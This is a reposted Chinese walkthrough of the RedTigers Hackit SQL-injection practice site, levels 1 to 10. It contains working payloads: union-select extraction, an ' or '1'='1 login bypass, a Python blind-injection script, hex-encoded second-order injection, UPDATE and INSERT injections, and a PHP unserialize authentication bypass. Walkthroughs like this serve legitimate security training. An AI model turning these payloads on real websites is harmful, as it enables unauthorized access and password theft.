您的位置:首页 > 其它

渗透测试演练平台RedTigers Hackit通关writeup以及wechall平台介绍

2016-12-30 15:20 2446 查看
本文转载自Redtiger Hackit Writeup

RedTigers Hackit是一个训练SQL注入漏洞和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。相比hackinglab上面考察的常规SQL注入,redtiger上面的题目更多考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较简单。根据作者的说法,所有的题目都是根据他发现的真实的漏洞编写的。

这个网站也是wechall的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面获取积分。wechall和很多类似于RedTigers Hackit的平台都有合作,这些平台上做题获取flag之后都可以在wechall上面计分并且排名。根据网站上面的要求,不能公布答案,而且题目数据不时会有一些变化,所以这篇文章只是简单写一下做题思路,没有flag。
level 1

常规的SQL注入。先用order by猜有几列,再用union select查出username和password。



拿到flag之后到下图这个地方提交,提交之后会显示你得了多少分,之后的题目类似。我对wechall的设计也是无语了,这个提交的页面找了至少半个小时。在首页放一个submit flag的按钮不行吗???



level 2

这里我们用常见的万能密码绕过。用户名随意,密码' or '1'='1即可。



level 3

题目的提示是Try to get an error。我们点一下TheCow,url变成了http://redtiger.labs.overthewire.org/level3.php?usr=MDYzMjIzMDA2MTU2MTQxMjU0。



我们把usr变为一个数组,然后提交试试。



顺利得到了报错信息。看看报错信息中的文件。



实际上这个文件就是对传进来的参数进行加密和解密。构造的明文为' union select 1,password,2,3,4,5,6 from level3_users where username='Admin,加密后得到 
https://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw


level 4

主页上也说了,这一关是盲注。那么我们只有写个程序来跑一下了。

import string
from re import *
from urllib.request import *

answer=""
char=string.printable
login ={'Cookie':'level4login=there_is_no_bug'}
url="http://redtiger.labs.overthewire.org/level4.php?id=1%20and%201=(select%20count(*)%20from%20level4_secret%20where%20substr(keyword,{0},1)='{1}')"

for q in range(1,22):
for i in char:
test=(url .format(q,i))
request=Request(test,None,headers=login)
res=urlopen(request)
s=res.read().decode()
if(findall("Query returned 1 rows.",s)):
print("{0}  ".format(q)+i)
answer+=i
break

print(answer)




level 5

根据提示密码要md5加密,构造出' union select 0x61646d696e as username, md5(123) as password#。



level 6

测试http://redtiger.labs.overthewire.org/level6.php?user=1',页面报错,那么说明在user字段是存在注入的。执行到http://redtiger.labs.overthewire.org/level6.php?user=1 order by 6%23,页面报错,那么应该有5个字段。

执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23显示User not found。



执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,username,3,4,5 from level6_users where status=1%23返回了username。



无论把password放在哪一位都没有结果,猜想后台进行了两次查询。

$sql1 = select username,password from level6_users where id=xxx;

$sql2 = select username,email from level6_users where username=."'".$username."'";

下面给出我们的payload。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23

$sql1 = select username,password from level6_users where id=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1%23,3,4,5

$sql2 = select username,email from level6_users where username='admin1' union select 1,2,3,password,5 from level6_users where status=1

页面报错,尝试十六进制成功。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23



level 7

题目上已经说明了,no comments, no substr, no substring, no ascii, no mid, no like。过滤了注释,substr,substring,ascii,mid,like。加一个单引号报错。



那么sql语句是SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')。用order by猜字段,发现order by被屏蔽了,尝试用union select。这里提交数据最好用temper data之类的工具。





最终,我们可以得到字段长度是4,显示位是3,4。



在知道了显示位之后,接下来就需要获取autor的内容。





提交TestUserforg00gle,得到flag。



level 8

在Email处加一个引号,报错。



猜测后台的sql语句应该是update table set name='inputname',email='inputemail',icq='inputicq',age='inputage' where id=1,那么我们在Email字段输入hans%40localhost',name=password,icq=',执行的sql语句将会是update table set name='hans%40localhost',name=password,icq='',email='inputemail',icq='inputicq',age='inputage'
where id=1。因为在update语句中出现了两个相同的name字段,实际上name字段的值会被赋为后一个。





level 9

在text中添加引号发现会报错。



猜测后台的sql语句应该是insert into tablename(autor,title,text) values ('inputautor','inputtitle','inputtext'),那么我们在text字段输入123'),((select username from level9_users limit 1), (select password from level9_users limit 1),'456,执行的sql语句将会是insert into tablename(autor,title,text)
values ('inputautor','inputtitle','123'), ((select username from level9_users limit 1),(select password from level9_users limit 1),'456')。







level 10

同样使用tamper data得到点击login时提交的数据。



base64解码得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。

$myarray = array(
"username"=>"Monkey",
"password"=>"0815password",
);
题目要求我们用TheMaster登录。把username改成TheMaster,password改成boolean类型的true即可绕过。a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;},base64编码之后是YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。



内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: